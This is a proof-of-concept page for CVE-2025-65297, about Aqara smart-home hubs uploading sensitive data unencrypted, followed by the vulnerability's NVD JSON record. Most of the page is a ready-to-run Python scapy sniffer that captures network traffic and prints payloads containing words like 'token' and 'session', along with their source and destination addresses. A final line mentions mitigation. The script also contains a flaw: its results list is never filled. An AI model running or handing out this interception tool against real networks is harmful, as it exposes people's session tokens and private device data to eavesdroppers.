CVE-2025-65297

# CVE-2025-65297 PoC - Aqara Hub Data Interception # This PoC demonstrates passive network monitoring to capture unencrypted data uploads import scapy.all as scapy from collections import defaultdict import json import sys def analyze_packet(packet): """Analyze packets for unencrypted Aqara Hub data transmissions""" if packet.haslayer(scapy.TCP) and packet.haslayer(scapy.Raw): try: payload = packet[scapy.Raw].load.decode('utf-8', errors='ignore') # Look for Aqara-specific data patterns if any(keyword in payload.lower() for keyword in ['aqara', 'hub', 'device', 'token', 'session']): print(f"[+] Potential Aqara data captured from {packet[scapy.IP].src}") print(f" Payload length: {len(payload)} bytes") print(f" Payload preview: {payload[:200]}...") # Check for plaintext transmission (no TLS indicators) if not packet.haslayer(scapy.TLS) and not packet.haslayer(scapy.TLSClientHello): print(f" [!] WARNING: Data transmitted WITHOUT encryption!") return { 'source_ip': packet[scapy.IP].src, 'dest_ip': packet[scapy.IP].dst, 'port': packet[scapy.TCP].dport, 'data': payload, 'encrypted': False } except Exception as e: pass return None def start_sniffing(interface='eth0', count=100): """Start packet capture on specified interface""" print(f"[*] Starting packet capture on {interface}") print("[*] Looking for unencrypted Aqara Hub communications...") print("[*] Press Ctrl+C to stop\n") captured_data = [] try: packets = scapy.sniff(iface=interface, count=count, prn=analyze_packet, store=False) except KeyboardInterrupt: print("\n[*] Stopping capture...") return captured_data if __name__ == "__main__": print("=" * 60) print("CVE-2025-65297 - Aqara Hub Unencrypted Data Upload PoC") print("=" * 60) interface = sys.argv[1] if len(sys.argv) > 1 else 'eth0' start_sniffing(interface=interface) print("\n[*] Mitigation: Block unencrypted outbound connections from IoT devices")

{"cve": {"id": "CVE-2025-65297", "sourceIdentifier": "[email protected]", "published": "2025-12-10T22:16:27.360", "lastModified": "2025-12-19T17:15:20.413", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Aqara Hub devices including Camera Hub G3 4.1.9_0027, Hub M2 4.3.6_0027, and Hub M3 4.3.6_0025 automatically collect and upload unencrypted sensitive information. Note that this occurs without disclosure or consent from the manufacturer."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-5"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:aqara:hub_m2_firmware:4.3.6_0027:*:*:*:*:*:*:*", "matchCriteriaId": "1DA5251B-FBDF-4020-B4AD-8735547D7BAB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:aqara:hub_m2:-:*:*:*:*:*:*:*", "matchCriteriaId": "A94EB182-2F3B-42B2-935E-72936E6F8F33"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:aqara:hub_m3_firmware:4.3.6_0025:*:*:*:*:*:*:*", "matchCriteriaId": "4B9661B9-D471-4110-995C-04D9165DEA1F"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:aqara:hub_m3:-:*:*:*:*:*:*:*", "matchCriteriaId": "8BC51964-8CAB-4849-A383-0D7D1CA68EE2"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:aqara:camera_hub_g3_firmware:4.1.9_0027:*:*:*:*:*:*:*", "matchCriteriaId": "CF91CB18-CE99-4A86-A94C-7136288E8C33"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:aqara:camera_hub_g3:-:*:*:*:*:*:*:*", "matchCriteriaId": "E823C290-E362-4BE0-9885-9A7B981134BC"}]}]}], "references": [{"url": "https://github.com/Chapoly1305/myCVEReports/blob/main/Aqara/Unauthorized-Data-Upload.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}